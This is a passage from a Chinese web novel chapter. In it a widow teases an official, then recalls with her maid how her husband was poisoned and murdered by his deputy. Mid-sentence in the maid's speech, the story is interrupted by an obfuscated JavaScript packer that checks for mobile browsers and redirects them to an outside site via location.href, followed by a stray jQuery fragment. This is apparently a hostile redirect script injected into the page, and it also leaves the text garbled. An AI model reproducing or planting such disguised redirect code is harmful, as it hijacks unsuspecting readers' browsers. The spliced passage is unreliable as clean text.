柳青砚见她这模样,知道定是惹恼了她,于是连忙绕至她身前道歉,“阿婉,对不住,我......”
沈婉仪抬起淡漠的双眸瞥了他一眼,柳青砚被这一眼看得瞬间定在了原地,她这眼神和那些旖旎梦境里面她看他的眼神一模一样。
“大人不用道歉,确实是我言语有失在先。”
或许在梦里面跪得久了,现在明明自己站着身量比她高的情况下,柳青砚却觉得此刻自己面对她时仍然在仰望。
如梦境中一样,他下意识向伸手去触碰她,“阿婉,你别生气......”
沈婉仪面无表情地避开了他伸过来的手,声音冷得没有一丝温度,“我没有生气,我想歇息了,大人请便吧。”
赶客之意相当明显。
柳青砚的手就那么僵在半空中,但他脑中却止不住地想,若是此刻再激怒她,她会和梦中一样鞭笞他吗?
虽说梦里的他感觉不到疼痛,可是那鞭子落在他身上时,他还是会控制不住地浑身一颤。
若是那样的话......他为什么非但没有害怕,却还有隐隐约约的兴奋呢?
沈婉仪半天没等到他的回应,也没看到他有离开的意思,索性懒得理他,转身走到一旁坐下给自己倒了一杯水。
待她喝完,见面前的人仍是呆若木鸡地站着,不由地轻声催促,“大人,夜已深了,还不走吗?”
柳青砚僵了许久的身体此刻终于有了动作,他上前一步在沈婉仪面前屈膝蹲下,让她可以自然而然地俯视自己。
为着这个姿势,沈婉仪只能居高临下地看着他。
也为着这个姿势,柳青砚的眼尾此刻微微垂着,眼睑也轻轻弯着,往常清冷锐利的眸子此刻竟然看上去圆润又透亮。
他喉结滚动,声音有些哑,“阿婉,我被临时调去参与一桩案件的会审,那案子后日就要审了,我昨日才拿到卷宗。”
“案件细枝末节纷繁错乱,我一连两日都还没有看完,所以今夜便不能歇息了,须得熬夜将卷宗看完才行。”
“我刚刚不该捉弄你,你别生我气了,好不好?”
他的声音放得又轻又软,尾音还带着轻微上挑的尾调,湿漉漉的目光紧紧黏在她的脸上,又乖巧又温顺,像是犯了错误在她面前撒娇求饶的小狗。
他这......是在撒娇?!堂堂御史中丞柳大人竟然在他面前撒娇?!
沈婉仪哪里见过这种阵仗?
她认识他也大半年了,从未想过他竟然还有这样的一面,他这副模样,很难让人想象出他在朝堂之上是如何声色俱厉地弹劾别人的。
她微微低头打量着他,心想他若是有尾巴,想必此刻应是摇个不停了,她在脑海中想象了一下那个画面,一向端方自持的柳大人若是摇着毛茸茸的的大尾巴......
她的唇角不自觉地弯了起来,柳青砚被她这恍若春雪消融的笑容看得微怔。
沈婉仪也察觉到自己的唇边的笑意,索性也不再故作冷漠,她起身将柳青砚扶起,笑得眉眼弯弯,“大人捉弄我一回,我也捉弄大人一回,这就算扯平了。”
柳青砚听到这话仍是发愣,“......捉弄?”
“总不能因为这等小事真的生大人的气吧?”
沈婉仪想起刚刚柳青砚那模样,嘴角的笑意又深了几分,“若不是故作生气,想来应该很难看到大人刚刚那副模样吧?”
柳青砚的耳朵只抓住了几个关键词,他渐渐回过神来,“故作生气?阿婉,你没有生气吗?”
沈婉仪一直以为自己的演技也就在梁盈面前够用,没想到能被她唬住的人现在又多了一个。
她见他这不断确认的模样,忽然觉得自己刚刚是不是装的太像了些,竟要他如此反复求证,心里软了一瞬,不禁有些后悔捉弄于他了。
于是她说出的话也软了几分,“没有。”
“大人不是还有卷宗要看吗?就别在此处耽搁时间了,快去吧。”
柳青砚见她眉目舒展的样子不像作假,悬着的心这才稍稍落下,目光在她脸上流连好一会儿才温声道,“阿婉,那你好生歇息。”
他说完,缓步向门外走去。
芸香进来的时候,沈婉仪仍坐在凳子上想着刚刚柳青砚那副模样发笑,连芸香唤她的声音都没听见。
她最后提高了声音道,“姑娘,热水烧好了。”
沈婉仪被这一下喊回神来,脸上的笑意都尚未褪去,“啊?好。”
“对了,阿盈睡了吗?”
芸香答,“兰黛守着呢,小姐已经睡下了。”
“好,待会洗完我也准备歇下了。”
沈婉仪说着便抬手将衣衫轻轻褪下,赤身抬脚缓缓迈入浴桶之中。
水汽氤氲,满室暖香。
沈婉仪闭目靠在浴桶边沿,温热的水漫过胸口,鬓边碎发被水汽濡湿,软软贴在颈侧。今日折腾了一身的疲惫被暖意渐渐化开,她长长舒了口气,眉眼间不自觉染了几分浅淡的柔和。
芸香上前,用温热的巾帕沾了水,替她缓缓按揉肩头,力道轻柔适中,舒服得让她昏昏欲睡。
她想着刚刚进来时自家姑娘脸上那一闪而过的笑意,不由好奇心作祟,开始悄悄打探,“刚刚进来时瞧着姑娘心情格外好,可是遇上什么开心事了?”
说起这个,沈婉仪的睡意瞬间便清醒了几分,她也有些后知后觉,“我刚刚,很开心吗?”
芸香想着她刚刚进来看到的那一幕,肯定地给出了回复,“姑娘看着是很开心呢。”
“我本来还担心今晚那陈伯提起姑爷......”说到一半,她猛地捂住了嘴,屋子里一时安静下来。
芸香顿了片刻,脸上掠过几分懊恼,连忙道歉,“抱歉,姑娘。瞧我这张嘴,真是不会说话,好好的提这些做什么,平白惹姑娘心里难受。”
沈婉仪搭在浴桶上的手轻轻拍了拍她的手背,“不用道歉,也不是什么绝口不能提的事。”
沈婉仪侧了个身,将下颌轻轻放在自己的手背上撑着,透过氤氲的雾气又想起那个午后的那个梦来。
“芸香,你说,梁钺要是知道我现在嫁了人,他会不会气得活过来找我?”
芸香愣了愣,一时不知如何接话。
沈婉仪也没有为难她,她笑了笑,自言自语道,“我这话很傻吧。”
她捧起一捧温水,任由清澈的水流从指缝间慢慢淌落,“人死不会复生的道理我还是懂的,梁钺他......”
话音微顿,掌心的水一滴不剩落回桶中,她才轻轻吐出后半句,轻得像一片落雪,“不会回来找我。”
明明已经过了好几年,可沈婉仪现在都还能清楚地记得梁钺走时留下的那句“阿婉,你等我回来。”
沈婉仪现在想起这句话,不由地叹了声,“他最后还是当了一次骗子。”
芸香终于开口,她恨恨道,“姑爷他明明可以回来见姑娘的!若不是因为遭小人暗算,哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167847|192630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里会落得个......”
尸骨无存的结果。
芸香拍了拍自己的嘴,改了口,“哪里会和姑娘阴阳两隔!”
三年前临羌城一战,梁钺其实并没有死在战场上,他是在班师回朝的路上,被身边人与敌人里应外合联手算计至死。
那个身边人就是他的副将,袁孝先。
据他的另一个副将刘忠带回来的消息,那日凯旋的部队在回程路上扎营休息时,袁孝先以一起方便为由将梁钺骗了出去,待众人发现寻到人时,便正好看见袁孝先将胸口上插着刀的梁钺推下了万丈高的悬崖。
按理来讲,以袁孝先的身手是制服不了梁钺的,更别说将他推下悬崖了。
可此人坏就坏在以此处,他在梁钺身边跟了他七八年,知道以两人的关系梁钺不会对他设防,于是早在约梁钺出去之前,便在他的水壶里下了药,无色无味的毒药。
被下了药的梁钺当然不是他的对手,或许是想毁尸灭迹,袁孝先便将人带到了山顶,推下了悬崖。为了确保梁钺的死亡,他甚至在将人推下悬崖之前,还在他的胸口上补了一刀。
这都是众人刚寻到山顶之后看到的事,那时已经来不及阻止了。
被发现后袁孝先倒也坦荡,面对众人激愤的质问,他只目光沉沉地看了人群一眼,留下一句“我早就想这样做了。”便自裁谢罪了。
刘忠当机立断,立即派人到崖底搜寻,奈何那悬崖壁立千仞、险峻异常,崖下更是荒草没径、人迹罕至,连条像样的山路都没有。
众人披荆斩棘、费尽周折,等下到崖底时,已是一两天之后,只寻到一具被野兽啃得面目全非的尸身,早已辨不出原本模样,只能凭借身上仅存的破衣烂衫和胸口上插着的那把匕首认出那是梁钺。
沈嘉禾带回来的便是这具尸身,还有他的遗言。
遗言是梁钺早在第一次上阵就写好了的,他怕自己在战场上被炸得粉碎都不敢将其带在身上,他把它缝了自己的枕头里,走到哪儿都带着。
临羌城的这一战,时间拖得太久,圣上最后将沈嘉禾也一起调了过来,战况最激烈之时,梁钺把这个秘密告诉了沈嘉禾,以防自己有任何不测。
好在最后他们赢了。
遗憾的是这个秘密最终还是派上了用场。
芸香想到这一切,根本控制不住自己脸上的表情,姑娘和姑爷明明是什么天造地设的一对,全部都是因为那个姓袁的才会被害得阴阳相隔!
小姐那么小的年纪,连自己的父亲都没见过几面,便永远失去了自己的父亲,这姓袁的害得姑娘家破人亡,连畜生都不如!
芸香拍了一下浴桶,咬牙切齿道,“这姓袁的最后自裁实在是太便宜他了!他也定是知道自己活着会被处以极刑,才一早选择了这轻松的死法!”
“想当初,姑爷对他多好,他这个副将的位置都是姑爷一手提拔上来的,却没想到竟是提了一个白眼狼!”
芸香捏成拳头的手猝然又砸了下浴桶,“要我说,他这种背信弃义的人就应该千刀万剐!”
“可惜他死了。”沈婉仪的声音有些轻颤,“甚至还没来得及问他到底为何这样做,他就已经死了。”
芸香提起的这个人,袁孝先,沈婉仪总共也没见过几回,现在想起来记忆都有些模糊,但见面的那几次,他给她留下的印象都是挺憨厚老实的一个人。
所以当沈婉仪知道杀死梁钺的凶手是谁时,她几乎是以为自己听错了名字。